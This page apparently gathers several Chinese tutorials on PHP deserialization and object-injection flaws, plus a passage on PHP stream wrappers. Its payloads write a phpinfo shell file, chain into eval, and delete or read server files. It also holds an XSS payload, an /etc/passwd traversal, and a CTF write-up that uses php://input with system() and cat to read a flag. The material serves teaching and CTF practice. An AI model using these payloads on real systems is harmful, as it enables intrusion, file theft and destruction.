精华内容
下载资源
问答
  • 序列化程序可以在JSON和PHP对象之间进行转换。 它使用反射,Phpdoc和注释来生成用于转换PHP代码。 支持使用JMS序列化程序组和版本进行序列化,但不支持反序列化。 局限性 如果您使用自己的侦听器或类似的东西...
  • 本篇文章给大家分享了下PHP反序列化漏洞系列之PHP序列化和反序列化原理的相关知识,有这方面需要的朋友参考学习下吧。
  • 下面说说php 如何进行数据的序列化和反序列化的。 php 将数据序列化和反序列化其实就用到两个函数,serialize 和unserialize。 serialize 将数组格式化成有序的字符串 unserialize 将数组还原成数组 例如: $user=...
  • PHP序列化

    千次阅读 2018-10-21 16:20:00
    序列化: serialize() 将对象转变成一个字符串便于之后的传递与使用。 序列化会保存对象所有的变量,但是不会保存对象的方法。 反序列化: unserialize() 将序列化的结果恢复成对象。 反序列化一个对象,这个对象...

    基本概念

    序列化:

    • serialize() 将对象转变成一个字符串便于之后的传递与使用。
    • 序列化会保存对象所有的变量,但是不会保存对象的方法。

    反序列化:

    • unserialize() 将序列化的结果恢复成对象。
    • 反序列化一个对象,这个对象的类必须在反序列化之前定义,或者通过包含该类的定义或者使用 spl_autoload_register() (自动包含类)实现

    序列化后格式:

    • 布尔型:
    b:value
    b:0 //false
    b:1 //true
    
    • 整数型:
    i:value
    i:1
    i:-1
    
    • 字符型:
    s:length:"value";
    s:4:"aaaa";
    
    • NULL型:
    N;
    
    • 数组:
    a:<length>:{key; value pairs};
    a:1:{i:1;s:1:"a";}
    
    • 对象:
    O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
    O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
    

    序列化实列:

    <?php
    
    class User
    {
    	public $name = '';
    	public $age = 0;
    
    	public function PrintData()
    	{
    		echo 'User '.$this->name.'is '.$this->age.' years old';
    	}
    }
    
    $user = new User();
    $user->name = 'John';
    $user->age = 20;
    
    $exp = serialize($user);
    // O:4:"User":2:{s:4:"name";s:4:"John";s:3:"age";i:20;}
    echo $exp.'<br>';
    
    $user1 = unserialize($exp);
    // 调用 PrintData() 函数:User Johnis 20 years old
    $user1->PrintData();
    ?>
    

    魔术方法(Magic Methods):

    • php 类中包含的一些以 _ 开头的函数

    • __construct 对象被创建时调用,但 unserialize() 时不会调用

    • __destruct 对象被销毁时调用

    • __toString 对象被当做字符串使用时调用,返回一个字符串(不仅 echo ,比如 file_exists() 也会触发)

    • __sleep 序列化对象之前调用此方法(返回一个包含对象中所有应被序列化的变量名称的数组

    • __wakeup 恢复反序列化对象之前调用

    • __call 调用不存在的方法时

    • 更多魔术方法参照:http://php.net/manual/zh/language.oop5.magic.php#object.tostring

    魔术方法实例:

    <?php
    
    class Str3am{
    	public $var1 = 'abc';
    	public $var2 = '123';
    
    	public function echoP(){
    		echo $this->var1.'<br>';
    	}
    	public function __construct(){
    		echo "__construct<br>";
    	}
    	public function __destruct(){
    		echo "__destruct<br>";
    	}
    	public function __toString(){
    		return "__toString<br>";
    	}
    	public function __sleep(){
    		echo "__sleep<br>";
    		// 注意返回带类中所有变量名称的数组
    		return array('var1', 'var2');
    	}
    	public function __wakeup(){
    		echo "__wakeup<br>";
    	}
    }
    
    // 创建对象,输出__construct
    $obj = new Str3am();
    // 调用 echoP 方法
    $obj->echoP();
    // 把类当做字符串输出,输出__toString
    echo $obj;
    // 序列化对象,输出__sleep
    $s = serialize($obj);
    // O:6:"Str3am":2:{s:4:"var1";s:3:"abc";s:4:"var2";s:3:"123";}
    echo $s.'<br>';
    // 反序列对象,输出__wakeup
    unserialize($s);
    // 脚本结束,对象被销毁,输出两个 __destruct,还有一个是 unserialize 恢复的对象
    ?>
    

    __destruct实例:脚本结束后删除日志

    // logfile.php
    <?php 
    
    class LogFile
    {
        // log文件名
    
        public $filename = 'error.log';
    
        // 某代码,储存日志进文件
    
        public function LogData($text)
        {
            echo 'Log some data: ' . $text . '<br />';
            file_put_contents($this->filename, $text, FILE_APPEND);
        }
    
        // Destructor 删除日志文件
    
        public function __destruct()
        {
            echo '__destruct deletes "' . $this->filename . '" file. <br />';
            unlink(dirname(__FILE__) . '/' . $this->filename);
        }
    }
    
    ?>
    
    <?php
    
    include 'logfile.php';
    
    // 创建一个对象
    
    $obj = new LogFile();
    
    // 设置文件名和要储存的日志数据
    
    $obj->filename = 'somefile.log';
    $obj->LogData('Test');
    
    // php脚本结束啦,__destruct被调用,somefile.log文件被删除。
    
    ?>
    

    漏洞利用

    反序列化漏洞主要原因在于程序逻辑,魔方函数或者其他函数存在危险功能,通过反序列刚好能利用这个功能,就导致了漏洞产生。

    具体可以参见文末 Chybeta 的文章

    利用 Magic Function

    用了 chybeta 大佬的代码做演示,index.php 源码如下:

    <?php
    class chybeta{
    	var $test = '123';
    	function __wakeup(){
    		// $fp = fopen('shell.php','w');
    		// fwrite($fp, $this->test);
    		// fclose($fp);
    		file_put_contents('shell.php', $this->test);
    	}
    }
    
    $class = $_GET['test'];
    print_r($class);
    echo "<br>";
    
    $class_unser = unserialize($class);
    
    require("./shell.php");
    

    payload O:7:"chybeta":1:{s:4:"test";s:18:"<?php phpinfo();?>";} ,这里比较坑的一点是,访问页面前端显示是不完整的,需要查看源代码。

    生成 payload 的代码:

    <?php
    class chybeta{
    	var $test = "123";
    	function __wakeup(){
    		$fp = fopen("shell.php","w") ;
    		fwrite($fp,$this->test);
    		fclose($fp);
    	}
    }
    $class4 = new chybeta();
    $class4->test = "<?php phpinfo();?>";
    $class4_ser = serialize($class4);	
    print_r($class4_ser);
    ?>
    

    反序列化漏洞个人感觉比较依赖程序逻辑,有反序列化且调用危险函数的地方都可以留意下,同时还要注意调用其他对象的情况如下面这个例子:

    <?php
    class ph0en1x{
    	function __construct($test){
    		$fp = fopen("shell.php","w") ;
    		fwrite($fp,$test);
    		fclose($fp);
    	}
    }
    class chybeta{
    	var $test = '123';
    	function __wakeup(){
    		$obj = new ph0en1x($this->test);
    	}
    }
    $class5 = $_GET['test'];
    print_r($class5);
    echo "</br>";
    $class5_unser = unserialize($class5);
    require "shell.php";
    ?>
    

    利用普通成员方法

    当危险函数存在于普通成员方法而不是自动调用的 Magic Function 中时,这时候寻找相同的函数名。

    ex1:

    <?php
    class chybeta{
    	var $test;
    	function __construct(){
    		$this->test = new ph0en1x();
    	}
    
    	function __destruct(){
    		$this->test->action();
    	}
    }
    
    class ph0en1x{
    	function action(){
    		echo "ph0en1x";
    	}
    }
    
    class ph0en2x{
    	var $test2;
    	function action(){
    		eval($this->test2);
    	}
    }
    
    $class = new chybeta();
    
    unserialize($_GET['test']);
    ?>
    

    希望执行 __destruct() 函数时调用 ph0en2x 中的 action() 函数,构造 pop 链

    <?php
    class chybeta{
    	var $test;
    	function __destruct(){
    		$this->test->action();
    	}
    }
    
    class ph0en2x{
    	var $test2 = "phpinfo();";
    	function action(){
    		eval($this->test2);
    	}
    }
    
    $class = new chybeta();
    $class->test = new ph0en2x();
    
    echo serialize($class);
    ?>
    

    PHP Session 处理器的安全隐患

    脚本处理序列化所用处理器不一致导致漏洞,具体可以参照这篇文章

    PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

    防御

    1. 避免用户可控 unserialize() 参数
    2. 换用 json 传递信息

    参考链接

    php序列化 - L3m0n
    https://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html

    浅谈php反序列化漏洞 - Chybeta
    https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/

    理解 php 对象注入
    http://wooyun.jozxing.cc/static/drops/papers-4820.html

    PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
    http://wooyun.jozxing.cc/static/drops/tips-3909.html

    展开全文
  • PHP 序列化和反序列化

    2019-05-01 01:46:44
    NULL 博文链接:https://onestopweb.iteye.com/blog/2409085
  • PHP序列化与反序列化

    2019-09-13 17:24:03
    PHP序列化与反序列化0x00 前言0x01 PHP类与对象0x02 PHP Magic 方法0x03 PHP 对象序列化0x04 PHP对象反序列化0x05 PHP反序列化漏洞/PHP对象注入1)__destruct的运用实例2)加入反序列化的实例3)__toString()进行反...

    0x00 前言

    在了解PHP序列化和反序列化,之前需要对PHP的类与对象、魔法方法等有所了解,此外PHP对象注入漏洞,作为一种极为

    常见却很难被利用的漏洞,也是由于PHP的序列化与反序列化早成的

    0x01 PHP类与对象

    不论在哪种编程语言中,类与对象的概念都不会被绕过,它是面向对象编程的基础知识,也是必备知识。

    	<?php
    	class animal {
    		public $name = 'dahuang';//define a virable
    		public function sleep(){//define a simpe method
    			echo $this->name . " is sleeping...\n";
    		}
    	}
    	$dog = new animal();
    	$dog->sleep();
    	?>
    

    在这里插入图片描述
    上述简单的代码中,定义了一个animal类,在animal类中定义了一个$ name变量和一个sleep方法;然后对animal类实例化,创建一个dog对象,通果dog对象调用sleep方法,输出。

    0x02 PHP Magic 方法

    PHP类中一般会包含一些特殊的函数叫做magic函数,这些函数以双斜划线开始,他们的主要作用是在某些情况下,自动调用,以保证程序的健壮性,但也是由于这些方法的自动调用,使得程序在一些情况下存在漏洞。

    PHP常见的magic方法:

    方法名触发点
    __construct在创建对象时候初始化对象,一般用于对变量赋初值
    __destruct和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
    __toString当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串
    __wakeup()使用unserialize时触发,反序列化恢复对象之前调用该方法
    __sleep()使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
    __destruct()对象被销毁时触发
    __call()在对象上下文中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
    __callStatic()在静态上下文中调用不可访问的方法时触发
    __get()用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
    __set()用于将数据写入不可访问的属性
    __isset()在不可访问的属性上调用isset()或empty()触发
    __unset()在不可访问的属性上使用unset()时触发
    __invoke()当脚本尝试将对象调用为函数时触发

    实例:

    <?php
    	class animal {
    		public $name = 'dahuang';//define a virable
    		public function sleep(){//define a simpe method
    			echo $this->name . " is sleeping...\n";
    		}
    		public function __construct(){
    			echo "the method:__construct is called\n";
    		}
    		public function __destruct(){
    			echo "the method:__destruct is called\n";
    		}
    		public function __toString(){
    			return "the method:__toString is called\n";
    		}
    	}
    	$dog = new animal();
    	$dog->sleep();
    	echo $dog;
    	?>
    

    输出:
    在这里插入图片描述
    分析输出结果:

    1、当通过new对类进行实例化时,首先调用__construct()构析函数,创建dog对象;

    2、让后通过dog对象调用sleep()方法,触发sleep,在进行$dog->sleep();时, $ dog备档最字符串,__toString()被调用;

    3、echo $dog使得脚本结束,调用__destruct函数。

    0x03 PHP 对象序列化

    在PHP网站中的定义:

    所有PHP里面的值都是可以使用函数serialize()来返回一个包含字节流的字符串表示。 unserialize()函数能够重新把字符串

    变回PHP原来的值。序列化一个对象将会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。

    简单的理解序列化就是把一个类的实例变成一个字符串;

    简单的理解反序列化就是把一个特殊的字符串转换成一个实例。

    **那么为什么要有序列化这种机制存在呢?或者说序列化有什么作用呢?**
    
    因为在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果一个脚
    
    本想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容都已经
    
    释放掉了,我们要如何操作,才能引用前一个脚本的变量呢?难道要前一个脚本不断的循环
    
    等待后面脚本的调用,显然这是不现实的。serialize和unserialize(即序列化和反序列
    
    化)就是用来解决这一问题的。serialize可以将变量转换为字符串并且在变换中可以保存当
    
    前变量的值;unserialize则可以将serialize生成的字符串转换为变量。
    

    现在,我们将0x02中的dog对象进行序列化,即将最后一行代码:echo $dog;改

    为echo serialize( $dog);

    输出结果:高亮部分即为序列化的dog对象

    在这里插入图片描述
    序列化后的字符串格式如下:

    O:6:"animal":1:{s:4:"name";s:7:"dahuang";}
    对象类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}
    

    序列化格式中的字母含义:

    a - array                  b - boolean  
    d - double                 i - integer
    o - common object          r - reference
    s - string                 C - custom object
    O - class                  N - null
    R - pointer reference      U - unicode string
    

    下面,我们再来探究一个小问题,到我们的变量受到不同修饰符修饰时,会不会有

    不同的结果,以animal类中的name变量为例:

    1.当name受到public修饰时:private $name = ‘dahuang’;

    name占用四个字节在这里插入图片描述

    2.当name受到private修饰时:private $name = ‘dahuang’;

    类名加上变量名占12个字节,比正常多了两个字节
    在这里插入图片描述
    3.当name受到protected修饰时:protected $name = ‘dahuang’;
    *name占用七个字节
    在这里插入图片描述
    通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:

    1. 受private修饰的私有成员,序列化时: \00 [私有成员所在类名] \00 [私有成员]
    2. 受protected修饰的成员,序列化时:\00 * \00 [成员]

    其中,"\00"代表ASCII为0的值,即空字节," * " 必不可少。

    0x04 PHP对象反序列化

    在说明PHP对象反序列化之前,我们来看一下,在PHP的序列化与反序列化过程中

    __sleep()、__wakeup()的调用过程,还是以上面的animal类为例:

    对上面的代码进行简单修改

    	<?php
    	class animal {
    		public $name = 'dahuang';//define a virable
    		public $age = '20';
    		public function eat(){//define a simpe method
    			echo $this->name . " is eatting...\n";
    		}
    		public function __construct(){
    			echo "the method:__construct is called\n";
    		}
    		public function __destruct(){
    			echo "the method:__destruct is called\n";
    		}
    		public function __toString(){
    			return "the method:__toString is called\n";
    		}
    		public function __wakeup(){
    			echo "the method:__wakeup is called\n";
    		}
    		public function __sleep(){
    			echo "the method:__sleep is called\n";
    			return array('name','age');
    		}
    	}
    	$dog = new animal();//对类进行实例化时,自动调用__construct()
    	echo serialize($dog)."\n";
    	$serializedDog = serialize($dog);//对dog对象进行序列化时,自动调用__sleep()
    	echo $serializedDog . "\n";//echo 序列化的dog对象
    	$dog->eat();//dog对象调用eat()方法
    				//程序结束,调用__destruct()
    	?>
    

    输出结果:
    在这里插入图片描述
    PHP的几个魔法函数,在进行序列化的过程中的调用:

    1、当不进行序列化时: 在进行类的实例化时,自动调用__construct();在输出对象时,自动调用

    __toString();在程序结束时,自动调用__destruct();__sleep()与__wakeup()均与序列化与反序列化

    有关,在此过程不被调用。

    2、当进行序列化时: 在进行类的实例化时,自动调用__construct();在对创建的dog对象进行序列化

    时,自动调用__sleep();echo $serializedDog,输出序列化的dog对象,**在此不再调用

    _toString()**;dog兑现调用eat()方法,然后程序结束,调用__destruct().

    3、在整个过程中,__construct()总是在程序的开始调用,__destruct()总是在程序的结束调用,这很

    简单,因为,对所有的变量的初始化总是在程序的开始,释放变量总是在程序结束。

    现在,在上面的基础上,对序列化的dog对象进行反序列化:

    修改代码、如下:

    	<?php
    	class animal {
    		public $name = 'dahuang';//define a virable
    		public $age = '20';
    		public function eat(){//define a simpe method
    			echo $this->name . " is eatting...\n";
    		}
    		public function __construct(){
    			echo "the method:__construct is called\n";
    		}
    		public function __destruct(){
    			echo "the method:__destruct is called\n";
    		}
    		public function __toString(){
    			return "the method:__toString is called\n";
    		}
    		public function __wakeup(){
    			echo "the method:__wakeup is called\n";
    		}
    		public function __sleep(){
    			echo "the method:__sleep is called\n";
    			return array('name','age');
    		}
    	}
    	$dog = new animal();//对类进行实例化时,自动调用__construct()
    	$serializedDog = serialize($dog);//对dog对象进行序列化时,自动调用__sleep()
    	echo $serializedDog . "\n";//echo 序列化的dog对象
    	
    	$newDog = unserialize($serializedDog);//反序列化已经被序列化的dog对象,自动调用__wakeup()
    	var_dump($newDog);//输出反序列化的结果
    	$newDog->eat();//dog对象调用eat()方法
    				   //程序结束,调用__destruct()
    	?>
    

    分析一下,在进行序列化与反序列化的过程中,几个魔法函数的调用过程:

    首先,在对animal类进行实例化时,自动调用__construct()对变量进行初始化;然后通过serialize()方

    法对dog对象进行序列化,自动调用__sleep();输出序列化的dog对象;之后,通过unserialize()方法

    对序列化的dog对象进行反序列化,自动调用__wakeup()方法;输出反序列化的结果,可以看到被序

    列化的dog对象得到了还原;然后通过新的newDog对象调用eat()方法,程序结束,自动调用

    __destruct()方法,注意这里的__construct()被调用了两次,这是因为在整个过程中产生了两个对象

    dog和newDog,在程序结束需要分写释放。

    0x05 PHP反序列化漏洞/PHP对象注入

    我们已经认识到了PHP的序列化与反序列化过程,但是如何利用这些漏洞呢?这取决与应用程序、可

    用的类和magic方法,序列化对象包含攻击者控制的对象值。在利用反序列化漏洞时,第一步就

    是在web应用程序寻找定义的__wakeup()和__sleep()方法,通过上面的讲述可以知道这两个magic方

    法只有在进行序列化和反序列化时才会被调用,通过触发这些方法,利用反序列化漏洞。

    1)__destruct的运用实例

    例如,我们找到一个类用于临时将日志存储在某个文件,当__destruct()被调用时,删除日志文件。

    saveLog.php:

    	<?php 	
    	class logFile{
    		public $logname = "error.log";//define the name of log
    		public function saveLog($text){//define the method to write the contents to a logfile
    			echo "Log same data: " . $text . "<br>";
    			file_put_contents($this->logname, $text . PHP_EOL, FILE_APPEND);
    		}
    		public function __destruct(){//delete the logfile when __destruct is called
    			echo "the method:__destruct is called<br>";
    			unlink(dirname(__FILE__) . DIRECTORY_SEPARATOR . $this->logname);//delete the logfile
    			if(!file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR . $this->logname)){//if the file has been deleted ,echo the log
    				echo "the method:__destruct is called and " . $this->logname ." has been deleted<br>";
    			}		
    		}
    	}
    

    deleteLog.php

    	<?php 
    	include 'saveLog.php'; //import files
    	$obj = new logFile(); //create a new object
    	$obj->logname = 'somefile.log';//assignment the variable
    	$obj->saveLog('this is a test file');//call the method to save some contents
    

    首先,注释掉saveLog.php中的unlink()方法看,是否能保存,将两个文件上传至服务器,访问
    deletLog.php:可以看到由于unlink()被注释掉了,保存的日志文件并没有被删除;但是输出“the method:__destruct is called”,__destruct()方法已经调用

    在这里插入图片描述
    在这里插入图片描述
    去掉注释看一下,真正的效果:在deleteLog.php中的__destruct()添加了判断函数,所以当文件被删除后弹出日志;文件被删除。
    在这里插入图片描述

    2)加入反序列化的实例

    对1中的saveLog.php进行优化:
    saveLog.php:

    	<?php 	
    	class logFile{
    		public $logname = "error.log";//define the name of log
    		public function saveLog($text){//define the method to write the contents to a logfile
    			echo "Log same data: " . $text . "<br>";
    			file_put_contents($this->logname, $text . PHP_EOL, FILE_APPEND);
    		}
    		public function __destruct(){//delete the logfile when __destruct is called
    			echo "the method:__destruct is called<br>";
    			if(!file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR . $this->logname)){//if the file has been deleted ,echo the log
    				echo "the method:__destruct is called and " . $this->logname ." has been deleted<br>";
    			}else{
    				unlink(dirname(__FILE__) . DIRECTORY_SEPARATOR . $this->logname);//delete the logfile
    			}			
    		}
    	}
    

    创建测试文件testPHP.php:

    	<?php 
    	echo "this is a test file";
    	?>
    

    创建序列化脚本serialize.php

    	<?php 
    	include 'saveLog.php';
    	$obj = new logFile();
    	$obj->logname = "testPHP.php";
    	echo serialize($obj)."<br>";
    

    创建反序列化脚本unserialize.php

    	<?php 
    	include 'saveLog.php';
    	$usr = unserialize($_GET['user_serialized']);//用户可控
    	var_dump($usr);
    	echo "<br>";
    

    测试:
    1.让问testPHP.php进行测试:
    在这里插入图片描述
    2.访问serialize.php:

    获得序列化的字符串:O:7:“logFile”:1:{s:7:“logname”;s:11:“testPHP.php”;}

    并且原来的测试文件testPHP.php已经通过自动调用__destruct()被删除。
    在这里插入图片描述
    3.访问testPHP.php:文件已经在访问serialize.php时被删除;
    在这里插入图片描述
    4.通过反序列化恢复字符串,访问:恢复数据结构

    http://192.168.15.83/unserialize.php/?user_serialized=O:7:"logFile":1:{s:7:"logname";s:11:"testPHP.php";}
    

    在这里插入图片描述
    此时,testPHP.php文件已经被删除,因为在脚本运行结束时,__destruct()方法,然而我们可以通过

    给定不同的字符串控制logFile类的变量。这就是PHP反序列化漏洞的名称由来,PHP反序列化漏洞的
    条件:
    1.unserialize函数的变量可控(本例中:unserialize($_GET[‘USER_serialized’]):USER_serialized是用户设定);
    2.php文件中存在可利用的类,类中有魔术方法(本例中:__destruct());

    3)__toString()进行反序列化

    1.反序列化实例:

    对0x04中代码进行修改:

        <?php
       class animal {
       	public $name = 'dahuang';//define a virable
       	public $age = '20';
       	public function eat(){//define a simpe method
       		echo $this->name . " is eatting...<br>";
       	}
       	public function __construct(){
       		echo "the method:__construct is called<br>";
       	}
       	public function __destruct(){
       		echo "the method:__destruct is called<br>";
       	}
       	public function __toString(){
       		return "the method:__toString is called<br>";
       	}
       	public function __wakeup(){
       		echo "the method:__wakeup is called<br>";
       	}
       	public function __sleep(){
       		echo "the method:__sleep is called<br>";
       		return array('name','age');
       	}
       }
       $usr = unserialize($_GET['USER_serialized']);
       $usr->eat();
       var_dump($usr);//echo the result
       echo "<br>";
       ?>
    

    输出结果:

    payload:http://192.168.15.83/test1.php/?USER_serialized=O:6:"animal":2:{s:4:"name";s:7:"dahuang";s:3:"age";s:2:"20";}
    

    在这里插入图片描述

    2.用反序列化调用logFile类

    1.创建测试文件demo.txt
    在这里插入图片描述
    2.重新编写类脚本:logfile.php

        	<?php         
           class LogFile  
           {                 
               public $filename = 'error.log';  //define the name of log      
               public function LogData($text)  //define a method to save log
               {  
                   echo 'Log some data: ' . $text . '<br />';  
                   file_put_contents($this->filename, $text, FILE_APPEND);  
               }       
               public function __destruct()  //define a method to delete log
               {  
                   echo 'the method:__destruct is called and the file :"' . $this->filename . '" is deleteed. <br/>';  
                   unlink(dirname(__FILE__) . '/' . $this->filename);  
               }  
           }    
       ?> 
    

    3.反序列testunserialize.php

    <?php         
    //import files here      
    class FileClass  
    {    
       public $filename = 'error.log';  //the name of file
       public function __toString()  //when the object read as a string , this method will be called
       {  
       return file_get_contents($this->filename);  
       }  
    } 
    $obj = unserialize($_GET['usr_serialized']);// implement user can control
    echo $obj;  //echo the __toString  
    ?> 
    

    4.测试文件:testfile.php

    <?php  
    include 'testunserialize.php';  
    $fileobj = new FileClass();  
    $fileobj->filename = '1.txt';  
    echo serialize($fileobj);    
    ?> 
    

    5.测试:

    5.1直接访问测试文件demo.txt

    在这里插入图片描述
    5.2 访问测试文件获取序列化字符串:O:9:“FileClass”:1:{s:8:“filename”;s:5:“1.txt”;}
    在这里插入图片描述
    5.3 漏洞利用,访问反序列化测试文件读取文件内容:成功读取文件内容,漏洞利用成功
    在这里插入图片描述

    0x06 总结

    在上面的实验过程介绍了PHP常见的几个magic函数的调用顺序和调用方法,在进行反序列化漏洞测试的过程中主要利用到了__destruct和__tostring两个magic函数。也可以使用其他magic函数:如果对象将调用一个不存在的函数__call将被调用;如果对象试图访问不存在的类变量__get和__set将被调用。但是利用这种漏洞并不局限于magic函数,在普通的函数上也可以采取相同的思路。例如User类可能定义一个get方法来查找和打印一些用户数据,但是其他类可能定义一个从数据库获取数据的get方法,这从而会导致SQL注入漏洞。set或write方法会将数据写入任意文件,可以利用它获得远程代码执行。唯一的技术问题是注入点可用的类,但是一些框架或脚本具有自动加载的功能。最大的问题在于人:理解应用程序以能够利用这种类型的漏洞,因为它可能需要大量的时间来阅读和理解代码。

    0x07 漏洞前提

    1.unserialize函数的变量可控(本例中:unserialize($_GET[‘USER_serialized’]):USER_serialized是用户设定);

    2.php文件中存在可利用的类,类中有魔术方法(本例中:__destruct());

    0x08 防御

    1.对参数进行处理;

    2.使用更加安全的函数。

    参考:
    https://paper.seebug.org/680/
    https://blog.csdn.net/nzjdsds/article/details/82703639
    https://cloud.tencent.com/developer/news/88891
    https://www.jianshu.com/p/1d2c65601d2a
    http://www.codeceo.com/article/php-object-injection.html
    https://blog.csdn.net/fly_hps/article/details/82734823
    https://www.freebuf.com/news/172507.html
    https://www.freebuf.com/articles/web/167721.html
    https://www.cnblogs.com/wfzWebSecuity/p/11156279.html

    展开全文
  • 本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。 如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作。 漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。...
  • 本文实例讲述了PHP序列化操作方法。分享给大家供大家参考,具体如下: 序列化就是将变量数据转换为字符串(跟类型转换机制不同),一般应用于存储数据(文件),然后在别的情形下恢复(反序列化) 序列化: $val = ...
  • 最近的比赛都有PHP序列化的题,于是学习一下。 本文目录序列化和反序列化序列化序列化`unserialize()`魔法函数 序列化和反序列化 序列化 要反序列化,先学习序列化,了解serialize()函数,定义啥的就不复制粘贴...

    最近的比赛都有PHP反序列化的题,于是学习一下。

    序列化和反序列化

    序列化

    要反序列化,先学习序列化,了解serialize()函数,定义啥的就不复制粘贴了,理解了就好。直接简单明了将通俗点。
    序列化就是通过使用serialize()函数将一个对象变成可以传输的字符串,比如下面的栗子:

    class baby{
    	public $test="lalala";
    }
    $baby=new B();//创建一个对象
    serialize($baby);//把这个对象进行序列化
    

    序列化后的到的结果是这个样子的

    O:4:"baby":1:{s:4:"test";s:6:"lalala";}
    

    参数说明:

    O:代表object
    4:代表对象名字长度为4个字符
    baby:对象的名字
    1:代表对象里面有一个变量
    s:数据类型
    4:变量名称的长度
    test:变量名称
    s:数据类型
    7:变量值的长度
    lalala:变量值
    

    反序列化unserialize()

    简单来说:就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

    $u=unserialize("O:4:"baby":1:{s:4:"test";s:6:"lalala";}");
    echo $u->test; //得到的结果是lalala
    

    魔法函数

    序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
    常见的几个魔法函数:

    __construct()    //当一个对象创建时被调用
    __destruct()    //当一个对象销毁时被调用
    __toString()   //当一个对象被当作一个字符串使用
    __sleep()     //在对象被序列化之前使用
    __wakeup()   //将在序列化之后立即被调用
    

    漏洞举例:

    class S{
    	var $test = "pikaqiu";
    	function __destruct(){
    		echo $this->test;
    	}	
    }
    $s = $_GET['test'];
    @$unser = unserialize($a);
    

    payload
    O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
    当输入这个payload时,这个payload是已经序列化的,对象test的值是一个xss弹窗脚本,上面的代码会对payload进行反序列化,然后在对象被销毁时执行魔法函数。执行xss弹窗。
    下面靶场试验一下。pikachu
    j4y
    在框里输入序列化后的payload。进行提交。
    j4y
    成功弹窗。以上是最基础的PHP反序列化。

    PHP伪协议

    PHP支持的伪协议有以下几种

    php:// — 访问各个输入/输出流(I/O streams)
    file:// — 访问本地文件系统
    phar:// — PHP 归档
    zlib:// — 压缩流
    data:// — 数据(RFC 2397)
    http:// — 访问 HTTP(s) 网址
    ftp:// — 访问 FTP(s) URLs
    glob:// — 查找匹配的文件路径模式
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音频流
    expect:// — 处理交互式的流
    

    allow_url_fopenallow_url_include这两个关键配置需要开启相应的服务,才能使用相关函数对伪协议的支持,配置相关在php.ini文件中

    php://协议

    php://是用来访问各个输入、输出流的。
    php://下还有许多子协议

    php://input

    php://input代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。
    php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

    php://input例题(ctf.show) web3

    j4y
    首先提示是文件包含漏洞,构造payload

    https://537363ba-ba6d-47cf-b6f4-85e7986ffa04.chall.ctf.show/?url=../../../../../../../etc/passwd
    

    etc和passwd这两个是linux系统中的文件。至于为什么构造这个,我不是很清楚,看过linux入门书籍,所以多少知道一点,《linux就该这样学》已看完。博客后续发。
    j4y
    然后就是伪协议,构造

    https://537363ba-ba6d-47cf-b6f4-85e7986ffa04.chall.ctf.show/?url=php://input
    

    抓包,到Repeater。自己构造相关命令执行

    <?php system("ls");?>
    

    ls是linux系统中列出当前目录下的文件的命令。至于system是有关一个命令执行漏洞,在我的学习命令执行漏洞的博客中有记录。
    j4y
    然后看到了ctf_go_go_go文件,然后使用命令cat 来查看文件内容。
    j4y
    flag查到。

    php://filter

    主要用于读取源代码并进行base64编码输出。
    使用方法payload

    php://filter/read=convert.base64-encode/resource=upload.php
    

    file://协议

    file://协议在双off的情况下也是可以正常使用的。

    allow_url_fopen :off/on
    
    allow_url_include:off/on
    

    file://用于访问本地文件系统,在CTF中常用来读取本地文件。

    使用方法:file://文件的绝对路径和文件名。

    file:///etc/passwd
    

    j4y

    phar://协议

    phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀

    xxx.php(木马)->压缩->xxx.zip->改后缀->xxx.jpg->上传->phar://xx.jpg/xxx.php
    

    与文件上传相结合。

    zip://协议

    allow_url_fopenallow_url_include都关闭的情况下可以正常使用,

    file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
    file.php?file=zip://nac.jpg#nac.php  其中get请求中#需要进行编码,即%23
    

    data://协议

    data://:需满足allow_url_fopenallow_url_include同时开启才能使用,使用如下:

    file.php?file=data://text/plain,<?php phpinfo()?>
    file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
    file.php?file=data:text/plain,<?php phpinfo()?>
    file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
    

    还是那个例题:
    j4y

    截断问题

    是否截断要考虑php的版本问题,PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;不能使用%00截断。
    PHP版本<=5.2 可以使用%00进行截断。

    情况一:不需要截断:
    
    http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt
    
    <?php
    
    include($_GET['file'])
    
    ?>
    
    情况二:需要截断:
    
    在php版本<=5.2中进行测试是可以使用%00截断的。
    
    http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00
    
    <?php
    
